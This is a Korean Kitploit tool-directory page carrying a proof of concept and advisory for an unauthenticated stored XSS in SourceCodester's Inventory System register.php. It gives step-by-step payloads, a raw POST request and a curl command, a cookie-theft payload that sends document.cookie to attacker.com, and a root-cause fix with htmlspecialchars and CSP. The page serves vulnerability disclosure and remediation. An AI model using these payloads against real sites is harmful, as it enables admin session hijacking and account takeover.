Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-11518-XSS — SourceCodester Inventory System의 인증되지 않은 저장형 XSS에 대한 개념 증명으로, 조작된 등록 페이로드를 통한 관리자 세션 하이재킹을 시연합니다. | Kitploit
도구/GitHubGitHub/xmyronn/cve-2026-11518-xss
Vulnerability AnalysisWeb Application ExploitationWeb SecurityCTFPenetration TestingLearning & Education
GitHubxmyronn/cve-2026-11518-xss

CVE-2026-11518-XSS

SourceCodester Inventory System의 인증되지 않은 저장형 XSS에 대한 개념 증명으로, 조작된 등록 페이로드를 통한 관리자 세션 하이재킹을 시연합니다.

저장소 보기
133개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PHP와 MySQL을 사용한 재고 시스템의 저장형 XSS

취약점 세부 정보

필드세부 정보
취약점 유형저장형 크로스 사이트 스크립팅 (XSS)
영향받는 애플리케이션PHP와 MySQL을 사용한 재고 시스템
공급업체SourceCodester
영향받는 버전1.0
영향받는 파일register.php
매개변수fullname, username
인증 필요아니요 (인증 없음)
영향관리자 세션 하이재킹, 관리자 패널에서 악성 스크립트 실행
CVSS 점수8.8 (높음)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

설명

SourceCodester의 PHP와 MySQL을 사용한 재고 시스템(2026년 5월 23일 제출)은 직원 등록 모듈(register.php)에서 **인증되지 않은 저장형 크로스 사이트 스크립팅(XSS)**에 취약합니다.

fullname 및 username 입력 필드는 데이터베이스에 저장하기 전에 사용자 입력을 살균하거나 인코딩하지 못합니다. 관리자가 사용자 관리 페이지(users.php)를 방문하면 살균되지 않은 페이로드가 HTML 컨텍스트에서 직접 렌더링되어 관리자 브라우저 세션에서 즉시 JavaScript가 실행됩니다.

등록에 인증이 필요하지 않기 때문에 원격의 인증되지 않은 공격자가 임의의 JavaScript를 주입할 수 있으며, 이는 사용자 관리 패널을 보는 모든 관리자의 컨텍스트에서 실행됩니다.


공격 시나리오

  1. 공격자가 /product_inventory/register.php를 방문합니다. — 로그인 필요 없음.
  2. 공격자가 fullname 및/또는 username 필드에 악성 페이로드를 제출합니다.
  3. 페이로드가 살균 없이 데이터베이스에 저장됩니다.
  4. 관리자가 로그인하여 /product_inventory/users.php로 이동하면 페이로드가 관리자 브라우저에서 자동으로 실행됩니다.
  5. 공격자는 관리자의 세션 쿠키를 탈취하거나, 피싱 페이지로 리디렉션하거나, 관리자를 대신하여 모든 작업을 수행할 수 있습니다.

개념 증명

1단계 — 등록 페이지로 이동 (인증 불필요)

root@kitploit:~
http://<TARGET>/product_inventory/register.php

2단계 — 다음 등록 양식 제출

전체 이름 필드 페이로드:

root@kitploit:~
<script>alert(1)</script>

사용자 이름 필드 페이로드:

root@kitploit:~
<script>alert(2)</script>

비밀번호: 임의 값 (예: test1234)

3단계 — HTTP 요청 (Burp Suite / curl)

root@kitploit:~
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

curl 동등 명령어:

root@kitploit:~
curl -X POST "http://<TARGET>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

4단계 — 관리자로 트리거

관리자로 로그인하고 다음으로 이동합니다:

root@kitploit:~
http://<TARGET>/product_inventory/users.php

두 페이로드 모두 페이지 로드 시 즉시 실행됩니다.


영향

인증되지 않은 공격자가 다음을 수행할 수 있습니다:

  • 관리자 세션 쿠키 탈취 — 전체 관리자 계정 탈취로 확대
  • 관리자를 피싱 페이지로 리디렉션
  • JavaScript를 통해 관리자 수준 작업을 조용히 수행 (사용자 생성/삭제, 재고 조작)
  • 관리자 패널에 지속적 키로거 배포
  • 관리자 인터페이스 변조

세션 쿠키 탈취 예시 페이로드 (공격자 서버로 대체):

root@kitploit:~
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

스크린샷

1단계 — 등록 양식에 페이로드 주입

스크린샷 2026-05-24 051430

2단계 — XSS가 관리자 users.php에서 실행됨

스크린샷 2026-05-24 051452

영향을 받는 코드 (근본 원인)

취약점은 register.php가 사용자 입력을 살균 없이 데이터베이스에 직접 삽입하고, users.php가 저장된 값을 htmlspecialchars() 인코딩 없이 출력하기 때문에 존재합니다.

users.php의 취약한 패턴 (대략):

root@kitploit:~
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];

수정 — 출력 인코딩 적용:

root@kitploit:~
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

추가로, register.php에서 삽입 시 strip_tags() 또는 적절한 검증이 포함된 준비된 문(Prepared Statements)을 사용하여 입력을 살균해야 합니다.


수정 방법

  1. HTML에서 사용자 제공 데이터를 렌더링하기 전에 ENT_QUOTES와 함께 htmlspecialchars()를 사용하여 모든 출력을 인코딩합니다.
  2. 진입 지점에서 서버 측의 모든 입력 필드를 검증하고 살균합니다.
  3. XSS 영향을 완화하기 위해 Content Security Policy(CSP) 헤더를 구현합니다.

참고 자료

  • SourceCodester — PHP와 MySQL을 사용한 재고 시스템

보고자: Syed Imad Uddin Alvi — 독립 보안 연구원

도구 다운로드